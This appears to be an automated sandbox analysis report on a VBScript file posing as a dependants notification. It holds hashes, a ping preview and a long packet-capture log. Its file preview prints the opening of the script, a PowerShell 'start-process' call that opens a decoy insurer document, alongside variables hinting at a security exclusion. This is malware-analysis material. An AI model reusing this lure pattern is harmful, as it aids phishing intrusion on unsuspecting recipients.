                                                                                                                                                                SHA-256:F2FA022B21EFBAA5E055E1DA3442367D00FA2F79F6AC582F4AC70EB68C1BC80D
                                                                                                                                                                SHA-512:00A21ADADEAE33819995DCB5E3D050C8F8ECFE96B29D6584DBAFC7BC46F4AD3E96B6FB3C2276A5AD26F1F4128B7A1353A1747E171860AAC76B4D7B465FD7669C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..Pinging 1.1.1.1 with 32 bytes of data:..Reply from 1.1.1.1: bytes=32 time=137ms TTL=55....Ping statistics for 1.1.1.1:.. Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 137ms, Maximum = 137ms, Average = 137ms..
                                                                                                                                                                File type:ASCII text
                                                                                                                                                                Entropy (8bit):5.325250476330155
                                                                                                                                                                TrID:
                                                                                                                                                                  File name:NOTIFICATION_OF_DEPENDANTS_1.vbs
                                                                                                                                                                  File size:1'009 bytes
                                                                                                                                                                  MD5:9a10ccf62e25194ba112cd1058b43a52
                                                                                                                                                                  SHA1:56bcf9ea53ac136b025a337e0b74bd36ccd67db8
                                                                                                                                                                  SHA256:2d67d4e708c92155a2a9b90d728057e024b57a031ea7d21d34da65a5f4de3028
                                                                                                                                                                  SHA512:9276409623aa332e7a28da4cf41259f530744e1e45704d5c54834b86a2c601596926af45f24c85737a93ccab037beeb67a210203c58b8f98139b67b4dabac120
                                                                                                                                                                  SSDEEP:24:EDv3D5nX10YJnEL9IVjVKOpiFMpwkyVlK/u9ospkvyEFUC:8z5nl0YJEpIVBhpgM+S/r7v7
                                                                                                                                                                  TLSH:3D111023E2BC433E1BEE81B0D1B117F99A63E7060D54586B4A34FC4142842AA83F628D
                                                                                                                                                                  File Content Preview:' Define the command to execute .Dim command, command1, command3, tempFolder, exclusionCommand.command = "cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Bene
                                                                                                                                                                  Icon Hash:68d69b8f86ab9a86
                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                  Dec 22, 2024 12:15:10.595182896 CET49674443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:10.595695019 CET49675443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:10.735723972 CET49672443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:11.518325090 CET49677443192.168.2.720.50.201.200
                                                                                                                                                                  Dec 22, 2024 12:15:11.892016888 CET49677443192.168.2.720.50.201.200
                                                                                                                                                                  Dec 22, 2024 12:15:12.314043045 CET49671443192.168.2.7204.79.197.203
                                                                                                                                                                  Dec 22, 2024 12:15:12.641988993 CET49677443192.168.2.720.50.201.200
                                                                                                                                                                  Dec 22, 2024 12:15:14.141978025 CET49677443192.168.2.720.50.201.200
                                                                                                                                                                  Dec 22, 2024 12:15:17.126818895 CET49677443192.168.2.720.50.201.200
                                                                                                                                                                  Dec 22, 2024 12:15:20.205229998 CET49674443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:20.205266953 CET49675443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:20.286756992 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:20.286789894 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:20.286840916 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:20.288059950 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:20.288072109 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:20.348306894 CET49672443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:21.600812912 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:21.600891113 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:21.600986004 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:21.639544964 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:21.639573097 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:21.917967081 CET49671443192.168.2.7204.79.197.203
                                                                                                                                                                  Dec 22, 2024 12:15:22.068970919 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.069226027 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.069252014 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.070321083 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.070373058 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.071346998 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.071413994 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.071644068 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.071650982 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.129647970 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.789021015 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.789098024 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.789150953 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.789170980 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.789201975 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.789222002 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.789223909 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.789263010 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.789275885 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.789304018 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.834887981 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.971870899 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.971883059 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.971920967 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.971940994 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.971973896 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.972028017 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:22.972059011 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:22.972084045 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.024857998 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.024888039 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.024954081 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.025007963 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.025043011 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.025065899 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.128813982 CET49677443192.168.2.720.50.201.200
                                                                                                                                                                  Dec 22, 2024 12:15:23.148091078 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.148166895 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.148189068 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.148233891 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.148267031 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.148397923 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.185375929 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.185412884 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.185456038 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.185476065 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.185517073 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.190625906 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.190716982 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.190732956 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.195544004 CET49722443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.195584059 CET4434972218.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.195660114 CET49722443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.195853949 CET49722443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.195872068 CET4434972218.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.221369982 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.221405029 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.221446991 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.221466064 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.221499920 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.255913019 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.255942106 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.255986929 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.256006002 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.256033897 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.284920931 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.285027027 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:23.316282034 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.333492994 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:23.333538055 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.333914995 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.344083071 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.344118118 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.344166040 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.344166994 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.344187975 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.344212055 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.344219923 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.344232082 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.344261885 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.344608068 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:23.365443945 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.365494967 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.365607977 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.365617990 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.365669966 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.388387918 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.388448954 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.388478041 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.388487101 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.388524055 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.388542891 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.391333103 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.402223110 CET44349700104.98.116.138192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.402333975 CET49700443192.168.2.7104.98.116.138
                                                                                                                                                                  Dec 22, 2024 12:15:23.405360937 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.405407906 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.405436039 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.405452967 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.405493021 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.405504942 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.417905092 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.417951107 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.417973042 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.417984962 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.418032885 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.429661989 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.429708004 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.429744005 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.429768085 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.429771900 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.429804087 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.429821968 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.440449953 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.440494061 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.440541983 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.440550089 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.440599918 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.440599918 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.531774998 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.531795025 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.531862020 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.531879902 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.531923056 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.542258024 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.542274952 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.542460918 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.542469025 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.542515993 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.553137064 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.553153992 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.553220034 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.553226948 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.553266048 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.562859058 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.562875032 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.562952995 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.562961102 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.563008070 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.572050095 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.572067022 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.572139025 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.572146893 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.572190046 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.575948954 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.576016903 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.576024055 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.576040983 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:23.576107025 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.576314926 CET49705443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:23.576328039 CET4434970518.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.240602970 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.240633011 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.240658998 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.240726948 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.240755081 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.240782976 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.240808010 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.290630102 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.290654898 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.290719986 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.290746927 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.290806055 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.416266918 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.456329107 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.456347942 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.456367970 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.456377029 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.456403017 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.456413031 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.456430912 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.456459999 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.456497908 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.465686083 CET49723443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:24.465718985 CET4434972318.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.465795040 CET49723443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:24.466016054 CET49723443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:24.466029882 CET4434972318.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.486268997 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.486279964 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.486310959 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.486335039 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.486354113 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.486373901 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.486390114 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.486427069 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.520456076 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.520481110 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.520528078 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.520545006 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.520571947 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.520598888 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.554723024 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.554744959 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.554801941 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.554826975 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.554856062 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.554874897 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.672386885 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.672420025 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.672482967 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.672528028 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.672558069 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.673629045 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.695349932 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.695372105 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.695461988 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.695485115 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.695590019 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.716955900 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.716979027 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.717032909 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.717051983 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.717080116 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.717098951 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.735856056 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.735877991 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.735939026 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.735950947 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.736001015 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.742150068 CET49724443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:15:24.742194891 CET44349724172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.742346048 CET49724443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:15:24.742600918 CET49724443192.168.2.7172.217.19.228
                                                                                                                                                                  Dec 22, 2024 12:15:24.742619038 CET44349724172.217.19.228192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.756927967 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.756948948 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.756999016 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.757016897 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.757159948 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.757195950 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.778543949 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.778564930 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.778629065 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.778652906 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.778677940 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.778769970 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.797286987 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.797314882 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.797358990 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.797374964 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.797410011 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.797435999 CET4434971345.125.67.168192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.797594070 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.806232929 CET49713443192.168.2.745.125.67.168
                                                                                                                                                                  Dec 22, 2024 12:15:24.971985102 CET4434972218.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.977018118 CET49722443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:24.977037907 CET4434972218.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.977549076 CET4434972218.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.982033968 CET49722443192.168.2.718.161.69.16
                                                                                                                                                                  Dec 22, 2024 12:15:24.982125044 CET4434972218.161.69.16192.168.2.7
                                                                                                                                                                  Dec 22, 2024 12:15:24.982291937 CET49722443192.168.2.718.161.69.16
